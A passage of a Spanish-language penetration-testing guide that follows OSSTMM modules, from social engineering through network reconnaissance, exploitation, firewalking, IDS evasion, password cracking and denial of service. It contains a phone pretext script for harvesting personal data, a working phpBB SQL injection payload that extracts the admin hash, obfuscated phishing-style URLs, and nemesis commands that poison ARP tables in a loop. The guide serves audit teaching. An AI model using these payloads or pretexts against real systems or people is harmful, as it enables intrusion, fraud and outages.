viene mal, y por suerte o desgracia, en este pas si omos la
palabra GRATIS damos hasta nuestra partida de nacimiento
A partir del prefijo mvil se puede determinar con un alto nivel
de probabilidad la operadora de comunicaciones a la que pertenece,
con lo que una promocin de dicha operadora siempre es una buena
excusa; si ha habido una migracin, pues la promocin se convierte
automticamente en una oportunidad para antiguos clientes. El
resumen podra ser:
Le llamamos de XXXX para ofrecerle, una vez cotejados sus
datos, una promocin de llamadas a 0 cntimos, GRATIS, durante
todo el mes de agosto, sin letra pequea.
Ah, dgame.
Es usted don Luis Lpez, de Salamanca?
Pgina 33

 No, me parece que se ha equivocado.

Vaya, lo siento, entonces no puede acceder a la promocin en
cualquier caso, es usted cliente de XXXX, verdad?
S, s, dgame
Dispone usted de correo electrnico?
Claro.
Si me lo facilita, le enviaremos un e-mail y, simplemente por
responder al mismo y rellenar nuestro cuestionario, tendr acceso
exclusivo a esta promocin.
Claro, mi correo es yyyy@hotmail.com.
En breve recibir el correo; una vez obtenida su respuesta, en
el plazo de una semana nos pondremos en contacto con usted para
confirmarle el acceso y tendr llamadas gratis durante todo el mes
de agosto.
Ah, muchas gracias, muchas gracias
A partir de aqu, no hay ms que enviar un correo al individuo en
cuestin desde una direccin que parezca creble; aunque para el
99% del personal es creble cualquier direccin de Hotmail, mucho
ms elaborado es utilizar algo del tipo
registro@XXXXX.dyndns.org, donde XXXX es obviamente el nombre de
la operadora. En ese correo, con logos oficiales y formalismos que
le den credibilidad, le pedimos amablemente su nombre, cdigo
postal por aquello de la estadstica y el nmero de telfono que
quiere asociar a la promocin (aunque ya lo sepamos, nunca est de
ms). Et voil, tenemos enseguida cmo se llama la persona y dnde
vive (a lo de pedir la direccin postal, aparte de que no nos
aporta nada, la gente suele ser ms reacia, pero el cdigo postal
lo facilitamos sin problemas).
Como vemos, con solamente un nmero de telfono, hemos conseguido obtener una gran cantidad
de informacin personal. Imaginemos la cantidad de variantes que podramos idear para aplicarlo al
mundo de la empresa, e imaginemos como podramos mejorarlo si previamente nos informamos de
la empresa o la persona a la que estamos llamando. Adems, existen muchas personas ms dentro de
la empresa, por lo que lo que obtengamos de una de ellas, podremos aplicarlo para que el llamar a la
siguiente persona nos resulte ms fcil.

Seccin C Seguridad en las Tecnologas de Internet

1. Sondeo de la Red
Este mdulo, es muchas veces no considerado como tal. Sucede, que muchas veces no se realiza, ya
que el cliente puede dar directamente un rango de IPs a comprobar. Adems, muchas veces, los
resultados obtenidos en este mdulo son completados en mdulos posteriores.
Este mdulo, es el primer punto de reconocimiento de la red. Se trata de averiguar todo lo que
podamos sobre ella de forma no invasiva. Lo haremos desde fuera, intentando averiguar todo lo que
podamos de ella, como rangos de IPs que tiene la compaa, subdominios etc...
Este mdulo es bastante similar a los de la seccin A, solo que ahora estamos intentando recolectar
informacin ms concreta, sobre mapeos de red, bloques de IP. El buscar IPs individuales ser tarea
de bloques posteriores. Si encontrsemos una IP individual, incluiramos su rango en lugar de la IP.
Muchas veces esto podra ser una suposicin falsa, pero en este punto, estamos intentando recabar
Pgina 34

toda la informacin posible, que ya filtraremos ms tarde. Es mejor que nos sobre que el que nos
falte.
Qu podemos hacer para conseguirlo? Existen muchas posibilidades, entre las que se destacan:
WHOIS
DNS Zone Transfer
WHOIS es un protocolo que est ampliamente extendido para consultar una base de datos oficial
para determinar el propietario de un nombre de dominio, direccin IP etc... Tradicionalmente, se
ejecutaba por lnea de comandos (en linux mediante el comando whois), aunque ahora existen webs
que lo ejecutan(Figura 7: ):

Figura 7:
En la imagen anterior, introducimos Google, para que nos muestre informacin sobre el dominio. A
continuacin se muestra un extracto de la informacin que nos devuelve la pgina web:
Registrant:
Dns Admin
Google Inc.
Please contact contact-admin@Google.com 1600 Amphitheatre
Parkway
Mountain View CA 94043
US
dns-admin@Google.com +1.6502530000 Fax: +1.6506188571
Domain Name: Google.com
Registrar Name: Markmonitor.com
Registrar Whois: whois.markmonitor.com
Registrar Homepage: http://www.markmonitor.com
Administrative Contact:
DNS Admin
Google Inc.
1600 Amphitheatre Parkway
Mountain View CA 94043
US
dns-admin@Google.com +1.6506234000 Fax: +1.6506188571
Technical Contact, Zone Contact:
DNS Admin
Pgina 35

Google Inc.
2400 E. Bayshore Pkwy
Mountain View CA 94043
US
dns-admin@Google.com +1.6503300100 Fax: +1.6506181499
Created on..............: 1997-09-15.
Expires on..............: 2011-09-13.
Record last updated on..: 2008-06-08.
Domain servers in listed order:
ns4.Google.com
ns3.Google.com
ns2.Google.com
ns1.Google.com
Como vemos, encontramos informacin tanto del registro, como algunos servidores de dominio.
Las DNS zone transfer, normalmente son utilizadas para replicar datos DNS a entre distintos
servidores DNS, o para hacer copias de seguridad de los mismos. Un usuario o servidor realizar
una peticin de transferencia de zona de un servidor de nombres especifico. Si el servidor o permite,
todos los nombres DNS y direcciones IP alojadas en el mismo servidor de nombres sern
transferidas en ASCII, por lo tanto, ser ideal para nuestros propsito.
en linux, el comando host:
$
>
>
>
>
>
>
>
>

host -l rutgers.edu
Rutgers.EDU name server dns1.Rutgers.EDU
Rutgers.EDU name server dns2.Rutgers.EDU
Rutgers.EDU name server dns3.Rutgers.EDU
Rutgers.EDU name server turtle.mcc.com
Rutgers.EDU has address 165.230.4.76
grad03.Rutgers.EDU has address 128.6.20.29
dgcacook4.Rutgers.EDU has address 128.6.87.158
grad04.Rutgers.EDU has address 128.6.20.30

En windows tenemos la herramienta nslookup:

>nslookup 204.228.150.3
Server: ns.computerhope.com
Address: 1.1.1.1
Name: www.computerhope.com
Address: 204.228.150.3
Existen muchas otras posibilidades, como las tcnicas de Forward DNS Brute Force, SMTP Mail
Bounce, o la extraccin de registros de dominio, aunque son menos utilizadas. Se puede leer
ampliamente sobre su funcionamiento en el libro Penetration Tester's Open Source Toolkit de
Syngress.
Pgina 36

2. Escaneo de Puertos
Aqu comienza la primera parte del test intrusivo. En este mdulo, se intenta comprobar qu
servicios estn activos actualmente, a la escucha de que un cliente se conecte a ellos.
El escaneo de puertos se sondea los puertos del sistema en el nivel de transporte y de red, y se
comprueba tambin si el firewall est correctamente configurado.
Todo sistema conectado a la red, tiene 65536 puertos (incluyendo el puerto 0). Sin embargo, no
hace falta comprobarlos todos siempre. El seleccionar qu puertos comprobar lo deciden el propio
equipo de la auditora. Adems de comprobar los puertos ms importantes, si que se recomienda
escanear por puertos poco comunes de vez en cuando, pues es una forma comn de detectar
servicios conectados pero no deseables, por ejemplo algn troyano que est a la escucha.
NMAP es el escner de puertos por excelencia, y se hablar de l y su forma de funcionar en el
ejemplo de test de penetracin del presente texto.

3. Identificacin de Servicios
En este mdulo, se comprueba los resultados obtenidos del escaneo de puertos. Muchas veces, es
posible que los escneres de puertos obtengan resultados errneos, que sea otro servicio el que est
a la escucha (por ejemplo, un troyano a la escucha en un puerto conocido, como por ejemplo 53,
que generalmente est asociado a DNS). Es por ello que hay que verificarlo.
Para realizar las comprobaciones, se puede conectar mediante algn programa que enve cadenas de
texto, e intercambiar comandos con aquellos servicios que queremos comprobar. Si responden a los
comandos de forma esperada (se puede comprobar que comandos admite cada protocolo en los
RFC), entonces, ese servicio est a la escucha en el puerto encontrado, y por lo tanto lo hemos
verificado.
Telnet, Netcat son ejemplos de herramientas para comprobarlo, y se hablar de ellas en el ejemplo
de test de penetracin del presente texto.

4. Identificacin del Sistema

En este mdulo, se comprueba el sistema operativo de las mquinas. Esto se realiza mediante el
anlisis de la respuesta de las mquinas ante determinados paquetes que se le envan.
Por ejemplo, NMAP (escner de puertos que adems detecta el sistema operativo y versin), lo
identifica en base a la comprobacin de huellas TCP/IP. Nmap enva una serie de paquetes TCP y
UDP al sistema remoto y analiza prcticamente todos los bits de las respuestas. Nmap compara los
resultados de una docena de pruebas como puedan ser el anlisis de ISN (Initial Secuence Number
o nmero inicial de secuencia) de TCP, el soporte de opciones TCP y su orden, el anlisis de IPID y
las comprobaciones de tamao inicial de ventana, con su base de datos nmap-os-fingerprints. Esta
base de datos consta de ms de 1500 huellas de sistema operativo y cuando existe una coincidencia
se presentan los detalles del sistema operativo. Cada huella contiene una descripcin en texto libre
del sistema operativo, una clasificacin que indica el nombre del proveedor (por ejemplo, Sun), el
sistema operativo subyacente (por ejemplo, Solaris), la versin del SO (por ejemplo, 10) y el tipo de
dispositivo (propsito general, encaminador, conmutador, consola de videojuegos, etc.).
Aunque el programa que utilicemos para adivinar el sistema operativo y versin que utiliza,
debemos de tener cuidado, puesto que muchas veces, se suelen equivocar, y aunque acierten, mucha
gente suele buscar exploits para un determinado sistema operativo y versin, sin contar con que
ste, podra haber sido parcheado o configurado para solucionar el fallo de seguridad que se tiene
documentado.

Pgina 37

5. Bsqueda de Vulnerabilidades y Verificacin

Aqu es donde se va a realizar el ataque en cuestin: se va a buscar y explotar los fallos que se
encuentren en las mquinas que haya en la red.
Generalmente, se suele utilizar programas automatizados, que buscan fallos de seguridad
documentados sobre las versiones de los programas y sistema operativo que usan las mquinas.
Cabe aadir, que la OSSTMM exige que se utilice al menos 2 programas automatizados distintos,
para comprobar las consistencias entre ambos, y as poder tener ms informacin con menor
probabilidad de equivocarnos.
Seguidamente, habr que comprobar que esos fallos existen efectivamente, y que no sean falsos
positivos. Aqu es donde entran los exploits: los exploits son pequeos trozos de cdigo que utilizan
los crackers para introducirse en las mquinas ajenas. Los auditores, debern hacer lo mismo, pero
de forma controlada para causar el menor nmero de daos, y siempre con la finalidad de poder
comprobar que esos fallos existen.
Hay que tener en cuenta, que todos los programas que existen en el mundo, contienen errores, ya
que el ser humano no es perfecto. Siempre encontraremos fallos con cada versin nueva de software
que pretenda corregir los de la anterior, y pueden ser de muchos tipos, por ejemplo: desbordamiento
de bfer (buffer overflow), condicin de carrera (race condition), errores de validacin de variables,
etc, etc.
Por ejemplo, puede darse el caso, de que se construya un programa, donde en un determinado
momento se pida al usuario algo por teclado, y no se compruebe el tamao de la entrada, y cause un
buffer overflow. Siempre se puede programar un programa que se aproveche de esto, y escriba en
las posiciones de memoria referentes al UID y se haga con el control de la mquina. Podra
igualmente ser este mismo ejemplo, pero en un programa con el patrn cliente-servidor, donde el
servidor espera algo del cliente sin comprobar la longitud de entrada.
Hay dos tipos de exploits:
0-day: son trozos de cdigo privados, que aquella persona que los implement no desea hacer
pblicos (ya sea por no causar alarma, o para usarlos en beneficio propio).
Pblicos: son trozos de cdigo cuyo propietario ha decidido poner a disposicin de todo el mundo.
Existen mltiples webs donde gente comparte los exploits como www.milw0rm.com,
www.securityfocus.com, www.packetstormsecurity.org por ejemplo.
Normalmente, una vez han sido hechos pblicos, es cuando los fabricantes conocen estos fallos y
tratan de solucionarlos.
A continuacin muestro un ejemplo de como funciona un exploit. Se trata de phpBB Links MOD
1.2.2 Remote SQL Injection Exploit. El mdulo "Links" del sistema de foros llamado phpBB en su
versin 1.2.2 es vulnerable a inyeccin SQL remota. Estos significa que mediante la URL es posible
interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener
la password de Administrador y poder loguearse como tal:
auditor@maquina:~/Desktop/exploit$ perl phpBB2.pl
phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*
=> Insert URL
=> without ( http )
Pgina 38

=>
www.foroejemplo.com
=> Insert directory
=> es: /forum/ - /phpBB2/
=>
/foros/
=> User ID
=> Number:
=>
1
Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b
Lo que ha sucedido aqu, es que dndole la direccin del foro, la seccin, el ID de un usuario (en
este caso 1, que es el administrador del foro), nos ha recuperado el pass codificado en MD5, el cual
podremos intentar decodificar, por ejemplo, utilizando fuerza bruta, ataque de diccionario, desde la
mquina local, por lo que tenemos todo el tiempo del mundo para hacerlo, sin necesidad de utilizar
la red, y sin ser intrusivos.

6. Testeo de Aplicaciones de Internet

En este tipo de testeo, se analizan los programas propietario de la empresa que estamos auditando.
Se comprueba su robustez, y se tratar de buscar fallos, y explotarlos. A diferencia del apartado
anterior, aqu deberemos de implementar nosotros mismos nuestro propio exploit. La forma de
hacerlo, es demasiado extensa como para explicarla en este apartado, aunque s es interesante el ver
una herramienta que facilita la tarea, como es Metasploit Framework (MSF).
Metasploit Framework es una herramienta para desarrollar y ejecutar exploits contra mquinas
remotas(Figura 8: ).

Figura 8:
Pgina 39

El ciclo de vida tpico de una vulnerabilidad y su explotacin es la siguiente:

Descubrimiento: un investigador de seguridad o vendedor descubre una vulnerabilidad de
seguridad crtica en el software
Divulgacin: el investigador de seguridad se mantiene fiel a la poltica de privacidad e informa al
vendedor, o bien lo divulga en una lista de correo pblica. En ambos casos, el vendedor debe
desarrollar un parche para solucionar la vulnerabilidad.
Anlisis: el investigador o cualquier otra persona de cualquier punto del mundo, empiezan a
analizar la vulnerabilidad para determinar su explotabilidad. Puede ser explotado?Puede ser
explotado remotamente?Resultar su explotacin en una ejecucin remota de cdigo, o colgar el
sistema? Esta fase incluye tambin la depuracin de la aplicacin vulnerable mediante la
introduccin de cdigo malicioso en las partes vulnerables del cdigo.
Desarrollo del exploit: una vez las respuestas a las preguntas clave han sido determinadas, el
proceso de desarrollo del exploit comienza. Esto ha sido considerado normalmente como artes
oscuras, requiriendo un conocimiento profundo de los registros del procesador, cdigo
ensamblador, offsets y payloads (payloads, en su significado de acciones a tomar par garantizar un
acceso remoto a la mquina, como por ejemplo vnc).
Pruebas: esta es la fase donde el programador comprueba el exploit contra varias plataformas,
service packs, o parches, y posiblemente contra distintos procesadores.
Liberacin: una vez el exploit ha sido testeado, y los parmetros especficos requeridos para su
ejecucin con xito han sido determinados, el programador libera el exploit, ya sea de forma
privada, o en un foro pblico. Muchas veces, el exploit es modificado para que no funcione tal cual,
sino que haya que realizar unos pequeos cambios. Esto se hace, para que los conocidos como
script-kiddies no sepan utilizarlo, y que solamente aquella gente que sabe lo que hace y como
funciona el exploit, puedan utilizarlo.

7. Testeo del Router

En este mdulo, tratamos de averiguar todo lo posible sobre el Router que separa la red de la
empresa, del resto del mundo, de Internet. Intentamos averiguar cuales son las ACLs (Access
Control List) que se encargan de aceptar o denegar paquetes.
Una tcnica interesante para conseguir esto, es la denominada Firewalking:
Antes de comenzar a explicar la tcnica, me gustara resaltar, que las IPs utilizadas son ficticias e
internas (aunque realmente, la tcnica se aplicara a IPs externas, y enrutables).
Firewalking es una tcnica que puede ser utilizada para recoger informacin de una red remota
protegida por un firewall.
Para comprender esta tcnica, es necesario comprender cmo funciona la herramienta Traceroute.
Traceroute es una herramienta de depuracin de redes utilizada para poder realizar un mapa de
todos los hosts que estn en la ruta hasta un destino indicado. Enva paquetes UDP, o ICMP de tipo
echo, a un host destino, y va incrementando poco a poco su time tu live (TTL) cada ronda (por
defecto, una ronda consiste de 3 paquetes o sondas). Si se utiliza UDP, el puerto de destino se
incrementar en uno por cada sonda.
Como bien sabemos, el TTL es un campo de un datagrama IP utilizado para limitar el nmero de
nodos por los que se desea que viaje el datagrama antes de ser descartado o devuelto a su origen por
la IP, ya que cada vez que pasa por un nodo, se decrementa en uno. Si vamos incrementando en uno
este campo cada vez (el TTL inicial), nos ir devolviendo un mensaje de error ICMP cada vez que
el TTL sea cero, y por lo tanto el host origen conocer en qu router expir el paquete.
Ahora que conocemos como funciona traceroute, podemos ver un par de ejemplos de como se
comporta el programa ante unas situaciones particulares:
Pgina 40

En el primer escenario, tenemos una red protegida por un firewall que bloquea todo el trfico
entrante excepto ping y su respuesta (ICMP tipo 8 y 0 respectivamente).
En el primer ejemplo, usamos los paquetes UDP por defecto(Figura 9: ):

Figura 9:
Como vemos, nos lo bloquea. Ahora bien, vamos a intentarlo utilizando ICMP(Figura 10: ):

Figura 10:
Con esto, ya vemos que ya podemos acceder dentro de la red, y recoger datos de ella.
En el segundo escenario, vamos a ver que sucede si el firewall bloquea todo el trfico entrante a
excepcin de UDP puerto 53, es decir, para DNS (Figura 11: ):

Figura 11:
Como podemos ver en la figura (Figura 11: ), el traceroute es bloqueado en el octavo salto porque
no se permite el paso exceptuando peticiones DNS. Sabiendo esto, podemos disear un plan.
Tenemos control sobre:
El puerto con el que empezar traceroute (recordemos, que ir incrementndose)
El numero de sondas por ronda (3 por defecto)
Pgina 41

Adems, tambin conocemos el nmero de saltos entre nosotros y el firewall, por lo que es fcil
deducir:

(puerto_objetivo (numero_de_saltos * numero_de_sondas)) -1

Por ejemplo:

(53 (8*3)) -1 = 28
Por lo tanto, si nuestro puerto inicial lo especificamos como 28, al llegar al firewall, los paquetes se
enviarn al puerto 53, y nos permitir el paso (Figura 12: ):

Figura 12:
Como vemos, hemos conseguido saltar por encima del objetivo, pero se nos bloquea, ms adelante,
ya que no se nos permite el paso de trfico con puerto distinto a 53, y traceroute incrementa el
puerto. Una posibilidad para sortear esto, sera modificar el cdigo de traceroute para que no
incremente el puerto objetivo, pero esto escapa al alcance del presente documento. De momento,
debemos conformarnos con que sabemos que el trfico dirigido al puerto 53 se nos permite el paso,
y que otros se nos est bloqueando. Adems, conoceremos el siguiente host al firewall.
Ahora comienza el concepto de Firewalking. Para poder utilizar la respuesta de la puerta de acceso
como medio de informacin, debemos saber dos cosas:
La direccin IP de la ltima puerta de acceso antes firewall
La direccin IP del host detrs del firewall.
La primera, nos servir como origen de nuestras mediciones (en trminos de saltos), y la segunda la
utilizaremos como direccin hacia la que enviar el flujo de paquetes. Podremos utilizar una tcnica
conocida como firewall protocol scan, que nos dar a conocer qu puertos/protocolos nos permite el
firewall utilizar para atravesarlo. Para ello, trataremos de probar cada puerto, y esperar las
respuestas. O tambin podemos tratar de enviar paquetes a todos los hosts detrs del firewall, para
intentar hacer un mapa de la topologa de la red.
A partir de aqu, traceroute nos limita mucho, por lo tanto, vamos a presentar una nueva
herramienta: firewalk. Su funcionalidad se basa en lo mencionado. Realizar dos fases, una de
exploracin, y otra de escaneo. Una la har para averiguar el TTL donde est la puerta de acceso, y
otra, para realizar el firewall protocol scan. Un ejemplo de ejecucin (Figura 13: ):

Pgina 42

Figura 13:

8. Testeo de Sistemas de Confianza

Este mdulo es un poco confuso, y realmente podra englobarse dentro de el testeo de
vulnerabilidades y el testeo de firewall/ACL. Se intenta poner a prueba las relaciones de confianza
entre distintas mquinas, mediante spoofing por ejemplo. Se comprueba tambin si es posible
averiguar estas relaciones mediante la recogida de inteligencia competitiva, comprobar que no haya
filtraciones hacia internet, por ejemplo Google hacking.

9. Testeo de Firewall
Este mdulo es bastante similar al del testeo de router. Las tcnicas aplicadas en el anterior pueden
ser aplicables a ste. Aqu se realiza un estudio ms avanzado de las reglas del firewall, entendiendo
al 100% todas las reglas, y permitiendo solo aquello expresamente necesario. Adems, no solamente
se estudiar el firewall que haya en la puerta de enlace; se estudiarn todos los firewalls que haya en
el sistema estudiado.

10. Testeo de Sistemas de Deteccin de Intrusos

Este mdulo se encarga de revisar el correcto funcionamiento de un sistema de deteccin de
intrusos (IDS).
Un IDS, es una herramienta informtica que se utiliza para detectar accesos no autorizados a una
red. Son programas que estn a la escucha de lo que sucede en la red, funcionando de forma similar
a un sniffer, analizando todo lo que pasa por una determinada seccin de la red en busca de trfico
sospechoso, que pudiera significar un uso indebido de la red. Por indebido, podemos entender
tanto el ataque de un hacker, spam, uso indebido de la red por parte de usuarios etc.
Una de las funciones ms comunes dentro de un IDS, es la deteccin de patrones. El IDS incluye
una base de datos de patrones (conocidos como firmas) de ataques conocidos, y cuando detecta uno
Pgina 43

en la red, hace saltar una alarma, de tal forma que los administradores del sistema puedan realizar
las acciones pertinentes. Por ejemplo, podra ser una poltica de una empresa el que los usuarios de
la red no deban visitar pginas de pornografa. Por lo tanto, el IDS podra configurarse de tal forma
que, cuando detecte la palabra sexo, pornografa etc... bloquee el acceso.
Con la deteccin de patrones en URL (como en el ejemplo anterior), me resulta interesante
comentar, una tcnica para tratar de evitar que el IDS alerte de un uso fraudulento. Se trata del uso
de obfuscated URLs.
A continuacin, voy a comentar su funcionamiento bsico, de forma que podamos ver cmo puede
burlar un IDS. Debo de advertir, que los ejemplos que voy a exponer a continuacin utiliza IPs hace
mucho que han cambiado, por lo que los ejemplos podran no funcionar.
Que es una obfuscated URL? Una obfuscated URL es una direccin url que hemos traducido (u
ofuscado en nuestro caso) para poder burlar o engaar tanto a un IDS como a un ser humano.
Trataremos de que no se reconozca aquella pgina web, por ejemplo, para usos fraudulentos.
Ejemplo de web sin ofuscar: http://www.pc-help.org/obscure.htm
Misma web ofuscada: http://3468664375@3468664375/o%62s%63ur%65%2e%68t%6D
Como vemos, es difcil de reconocer, y por tanto es altamente probable que pueda pasarse por alto
su contenido real, y probablemente pueda pasar inadvertida ante un IDS que no est debidamente
configurado.
Como ha sido traducida? La parte entre http:// y la @, se suele utilizar para la autenticacin (de la
forma usuario:pass), pero en las direcciones donde no se exige autenticacin, no importa lo que
pongamos, por lo que tanto el navegador como el servidor simplemente lo ignorar. Esto podra
utilizarse para tratar de engaar tambin:
http://www.upv.es@3468664375/obscure.htm
Esta direccin podra hacer creer que la pgina web est en upv.es
La segunda parte, (entre la @ y la primera barra) 3468664375, es la propia direccin IP donde est
hospedada la pgina web, solo que se ha traducido de decimal a dword. Esto hace que sea ms
dificil an de reconocer. La forma de hacerlo, es la siguiente:
206 * 256 + 191 = * 256 + 158 = * 256 + 55 = 3468664375
Por ltimo, nos queda parte entre la primera barra y el final de la url:
/o%62s%63ur%65%2e%68t%6D
Esta parte equivale a: /obscure.htm Lo que hemos realizado aqu, es el traducir algunas letras a
hexadecimal (base 16) de sus cdigos ASCII.
Esto no ha sido mas que un ejemplo. Hay muchas otras formas de realizarlo, desde las ms simples,
a las ms complejas, por lo que es algo interesante a realizar si queremos pasar desapercibido ante
algunos IDS, y algo que debemos revisar en el IDS que estemos comprobando.
Pgina 44

11. Testeo de Medidas de Contencin

En el presente mdulo, se comprueban todas las medidas existentes de respuesta que existen en el
sistema, para actuar ante un virus, troyanos, programas con cdigo malicioso. Por lo tanto, se
comprobar cmo actan los programas y polticas existentes en el sistema para mantenerlo limpio
de estas amenazas.
Soluciones tales como aislamiento o cuarentena de los mismos, copias de seguridad, antivirus etc...

12. Password Cracking

El password cracking es el proceso de comprobacin de cuan difcil es de descifrar una contraseas.
Se trata de obtener las contraseas, aprovechndonos de fallos ya sea en el sistema de cifrado, o en
debilidades introducidas por factor humano.
En el fallo introducido por factor humano, podemos destacar:
Contraseas

demasiado cortas
Uso de una misma contrasea en varios sitios
Utilizacin de palabras conocidas, existentes en diccionarios
Uso de contraseas comunes (Dios, sol, Ra etc..) que se encuentren tambin en diccionarios
Utilizacin del login como contrasea (login: Paco Pass: Paco)
El tipo de ataque ms comn para aprovecharnos de estos fallos, es el uso de ataques de fuerza
bruta o diccionario, de los cuales se muestra un ejemplo en la parte tcnica del documento.
Para poder mejorar la robustez de nuestras contraseas, se aconseja, evitar los fallos descritos antes,
y adems:
Uso

de maysculas y minsculas
Utilizacin de letras y nmeros
Utilizacin de smbolos y acentos
Cambiar regularmente de contrasea
Si seguimos estos consejos, el proceso se ralentiza considerablemente, hasta el punto de hacer que
no sea til el tiempo invertido para descifrar la contrasea, y se intente entrar al sistema por otros
medios.
Por la parte de fallos del propio algoritmo de compresin, la mayora se basan en fallos de origen
matemtico o puramente criptogrfico, lo cual se escapa de la intencin del documento. No
obstante, se expone un ejemplo que ha sido bastante comentado, el fallo de MD5, que est
documentado en wikipedia :
A pesar de haber sido considerado criptogrficamente seguro en un
principio, ciertas investigaciones han revelado vulnerabilidades
que hacen cuestionable el uso futuro del MD5. En agosto de 2004,
Xiaoyun Wang, Dengguo Feng, Xuejia Lai y Hongbo Yu anunciaron el
descubrimiento de colisiones de hash para MD5. Su ataque se
consum en una hora de clculo con un clster IBM P690.
Pgina 45

Aunque dicho ataque era analtico, el tamao del hash (128 bits)
es lo suficientemente pequeo como para que resulte vulnerable
frente a ataques de fuerza bruta tipo cumpleaos. El proyecto
de computacin distribuida MD5CRK arranc en marzo de 2004 con el
propsito de demostrar que MD5 es inseguro frente a uno de tales
ataques, aunque acab poco despus del aviso de la publicacin de
la vulnerabilidad del equipo de Wang.
Debido al descubrimiento de mtodos sencillos para generar
colisiones de hash, muchos investigadores recomiendan su
sustitucin por algoritmos alternativos tales como SHA-1 o
RIPEMD-160.

13. Testeo de Denegacin de Servicio

La denegacin de servicio(Denial of Service o DoS), es una situacin en la que el sistema deja de
funcionar correctamente, colapsando, saturando y/o sobrecargando el servicio vctima y pudiendo,
incluso, provocar la cada total del sistema. Es decir, aqu no se obtiene una ventaja directa de su
funcionamiento incorrecto, sino que simplemente hace que deje de funcionar correctamente. Es un
tipo de situacin bastante comn ya que es bastante fcil de provocar, y muchas veces se lee por la
red, de internautas que estn en desacuerdo con una decisin que ha tomado un determinado
colectivo, y han provocado un DoS.
La denegacin de servicio puede darse tanto intencionada como accidentalmente. Por ejemplo, un
servidor web puede verse envuelto en una situacin en la que no es capaz de dar servicio a tantos
clientes como los que lo piden, y esto es una situacin completamente legtima, y sin ninguna
intencin de causar el dao.
Debemos de tener en cuenta, que este tipo de comprobaciones (testeo de Dos), son muy susceptibles
de causar daos al sistema, por lo que se debe de pedir permiso expreso a la empresa a la cual se
est realizando la auditora. Es mas, algunos ataques que causan DoS como el flood (inundacin), o
DDos (Denegacin de Servicio Dinmico) estn expresamente prohibidos por la OSSTMM, ya que
pueden causar problemas, no solo a la mquina que estemos comprobando, sino que tambin
pueden verse afectados routers y sistemas entre el tester y el objetivo.
Un ejemplo sencillo de un ataque DoS, es el ARP Injection. Antes de explicar el ataque, vamos a
recordar en que se basa el protocolo ARP:
1.Peticin ARP: el ordenador A pregunta a toda la red, Quien tiene esta IP?
2.Respuesta ARP: El ordenador B le contesta al ordenador A Yo tengo esta IP. Mi MAC es: (la
MAC que sea)
3.Peticin ARP Inversa (RARP): Mismo concepto que la peticin ARP, pero el ordenador A
pregunta: Quien tiene esta direccin MAC?
4.Respuesta RARP: Ordenador B contesta al ordenador A Yo tengo esa direccin MAC, mi
direccin IP es: (la IP que sea)
De esta forma, pueden comunicarse los ordenadores, traduciendo direcciones IP a MAC y
viceversa. Esto sucede constantemente, informndose continuamente de los cambios que hay (por
ejemplo, cada vez que un ordenador reinicia). Dado que las peticiones las reciben todos los
ordenadores de la red, cualquiera podra contestar a la peticin, y en esto se basa el ataque.
En nuestro caso, vamos a intentar hacer creer a una mquina, que determinada MAC corresponde a
una IP inexistente, de tal forma que le sea imposible comunicarse con ella. En el ejemplo a
continuacin, desde una mquina windows haremos que la mquina vctima no sea capaz de
Pgina 46

comunicarse con el router, de forma que quede incomunicada con el exterior.

Para realizar el ataque:
Primero, necesitamos saber la direccin MAC del router :
C:\>arp -a
Interfaz: 192.168.0.25 ---0x2
Direccin IP Direccin Fsica Tipo
192.168.0.1 00-09-45-e3-6f-31
Ahora, con ayuda de un programa llamado Nmesis, vamos a envenenar la tabla ARP de la vctima:
C:\Nmesis\>nemesis arp -D 192.168.0.50 -S 192.168.0.1 -H
00:01:02:03:04:05
ARP Packet Injected
Con este comando, hemos envenenado la tabla ARP de la mquina con direccin 192.168.0.50 que
ahora cree que la direccin MAC del router (con IP 192.168.0.1) tiene la MAC 00:01:02:03:04:05,
la cual es falsa, por lo que no podr comunicarse con l (ya que no existe).
Esto es solamente momentneo, ya que como hemos dicho, los mensajes ARP van envindose
peridicamente, por lo que en algn momento, le llegar un mensaje con la MAC del router
correcta. Una forma de asegurarnos de que esto no suceda, es inyectar paquetes como hemos hecho
hasta ahora, solo que dentro de un bucle:
C:\Nmesis\>FOR /L %i IN (1,1,6500) DO nemesis arp -D 192.168.0.50
-S 192.168.0.1 -H 00:01:02:03:04:05
De esta forma, la mquina vctima estar bajo los efectos de un DoS mientras dure el bucle.

14. Revisin de las Polticas de Seguridad

Las polticas de seguridad son la versin escrita y documentada de todas las medidas que tiene la
empresa en lo referente a la seguridad de los sistemas.
Este mdulo debera realizarse una vez se han revisado todas las secciones tcnicas y
vulnerabilidades, ya que sino, los resultados obtenidos aqu, no seran comparables con las polticas
de seguridad que deberan de cumplirse.
Primeramente, debe de comprobarse que las polticas de seguridad sobre papel, estn justificadas,
tanto dentro del negocio (por ejemplo, no utilizar servicios innecesarios), como legal y ticamente.
Hay que prestar especial atencin a que se cumplan las normativas de privacidad de los empleados,
y que adems, todo lo revisado est conforme a las leyes locales.
Una de las funciones principales en este mdulo (y quizs ms importante tambin) sea la
comparacin de las medidas que hay sobre papel, y las implementadas y en funcionamiento. Por lo
tanto, se debera de comprobar que las polticas de seguridad diseadas estn correctamente
implementadas y configuradas.

Pgina 47

Seccin D Seguridad en las Comunicaciones

1. Testeo de PBX
Un PBX(siglas en ingls de Private Branch Exchange) cuya traduccin al espaol sera Central
secundaria privada automtica, es cualquier central telefnica conectada directamente a la red
pblica de telfono por medio de lneas troncales para gestionar, adems de las llamadas internas,
las entrantes y/o salientes con autonoma sobre cualquier otra central telefnica.
Visualmente, es como las antiguas centralitas que se vean en las pelculas, donde se le peda por
telfono a la operadora que te conectara con un nmero telefnico, y entonces poda establecerse la
comunicacin para hablar(Figura 14: ).

Figura 14:
Existen muchas razones por las que se debera realizar una revisin concienzuda en este mdulo:

Los PBX y perifricos tienen largos tiempos de vida, por lo que no siempre estn a la ltima.
Siendo as, muchos sern bastante antiguos, por lo que sus dispositivos de seguridad tambin
los son, por lo tanto, los hacen fciles de manipular. Adems, sus bases de datos internas
pueden estar sin codificar, y su estructura fcil de comprender.

